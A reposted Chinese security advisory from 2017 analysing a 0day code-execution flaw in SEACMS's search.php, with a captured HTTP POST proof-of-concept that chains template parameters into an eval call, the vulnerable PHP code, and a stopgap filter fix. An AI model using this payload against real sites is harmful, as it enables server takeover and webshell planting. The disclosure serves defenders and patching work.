?

Oct 13 2017

海洋CMS(SEACMS)0day漏洞預警

首頁 » 漏洞收集 » 海洋CMS(SEACMS)0day漏洞預警   

概述

最近我們的一名安全托管客戶反應,其服務器遭受到攻擊,被黑客上傳了webshell并篡改網頁內容。經過我們為客戶安裝云鎖防護軟件后,攔截到一個針對海洋CMS(SEACMS)的0day漏洞。  

海洋CMS是一套專為不同需求的站長而設計的視頻點播系統,在影視類CMS中具有很高的市場占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)幾個老漏洞及其修補方法

在2017年2月,海洋CMS 6.45版本曾爆出一個前臺getshell漏洞,漏洞具體內容參見:http://blog.csdn.net/qq_35078631/article/details/76595817。該漏洞成因在于search.php沒有對用戶輸入內容進行過濾,導致攻擊者提交的order參數可進入parseIf函數中執行eval。  

官方在6.46版中修復了該漏洞,修復方法是對用戶輸入的參數進行過濾并限制長度為20個字符。但這種修復方法并沒有完全修復漏洞,因為在替換操作過程中用戶輸入的幾個參數可以進行組合,因此補丁被繞過。  

隨后官方又在8月7日發布了6.54版本再次修復漏洞,這次修復增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order參數只能是固定內容,這樣雖然避免了通過order參數進行的攻擊,但是卻沒有解決其他參數進入parseIf函數的問題。

海洋CMS(SEACMS)0day漏洞分析

我們抓取到的攻擊payload(POC)如下:

POST /search.php HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: keep-alive Upgrade-Insecure-Requests: 1 searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo(); 

可以看到,攻擊入口已經不在是order參數,我們來看一下search.php中的搜索實現過程:

function echoSearchPage() {
......
    $content = str_replace("{searchpage:page}",$page,$content);
    	$content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    	$content = str_replace("{searchpage:ordername}",$order,$content);
......
    $content = str_replace("{searchpage:year}",$year,$content);
    	$content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    	$content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    ......
    	$content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    	$content = str_replace("{searchpage:ver}",$ver,$content);
......
    $content=$mainClassObj->parseIf($content);

可以看到,代碼中對html中的searchpage標簽進行了多次替換,而攻擊者也正是利用了這一點,在多次替換過程中使多個參數共同組合成最終的payload,這樣既繞開了RemoveXSS的過濾又繞過了20字節的長度限制。  
在對參數進行了替換之后,content中已經包含了如下攻擊payload:

if:eval(join($_POST[9]))

在隨后的POST數據中攻擊者又利用9[]把真正的payload利用base64_decode傳入。最終$content內容被傳入parseIf函數。在parseIf函數中判斷含有if:標簽,就會調用eval來執行該內容,從而導致了攻擊者的payload被執行。

function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content;
    		}else{
......
    		@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");1.jpg.

漏洞修復

根據云鎖監測,目前該0day已經被大規模運用,而且攻擊者使用自動化攻擊腳本對全網SEACMS進行搜索并實施自動攻擊。我們已在9月份向CNVD和廠商報告了漏洞詳情,但截至2017.10.9,SEACMS仍然未發布該漏洞的補丁。建議SEACMS用戶立即安裝云鎖并開啟文件防上傳功能,可暫時避免被自動化程序攻擊。或在echoSearchPage()函數中增加一條過濾語句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天擇實習生,轉載請注明來自FreeBuf.COM

 
正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «海洋CMS(SEACMS)新版本V6.55補丁仍可被繞過執行任意代碼 | JSONP 安全攻防技術»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖